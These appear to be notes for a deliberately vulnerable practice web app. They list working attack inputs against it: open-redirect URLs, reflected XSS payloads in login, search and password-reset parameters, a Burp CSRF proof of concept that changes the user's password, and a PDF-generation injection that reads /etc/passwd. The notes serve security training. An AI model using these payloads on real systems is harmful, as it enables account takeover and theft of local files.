It's vulnerable by purpose.
http://thegarden.local.net/login?r=https://10degres.net and log in
http://thegarden.local.net/?r=https://10degres.net and log out
http://thegarden.local.net/login?r=111%27%22--%3E%3Csvg/onload=prompt()%3E111 not authenticated http://thegarden.local.net/dashboard?r=111%27%22--%3E%3Csvg/onload=prompt()%3E111 authenticated
http://thegarden.local.net/?q=111%27%22--%3E%3Csvg/onload=prompt()%3E111
http://thegarden.local.net/reset-password/111?email=111%27%22--%3E%3Csvg/onload=prompt()%3E111 not authenticated
Profile / Change Password:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://thegarden.local.net/change-password" method="POST">
<input type="hidden" name="password" value="evilpassword" />
<input type="hidden" name="password_confirmation" value="evilpassword" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>Generate PDF with order->address: 111<iframe src='file:///etc/passwd'></iframe>222
Profile picture: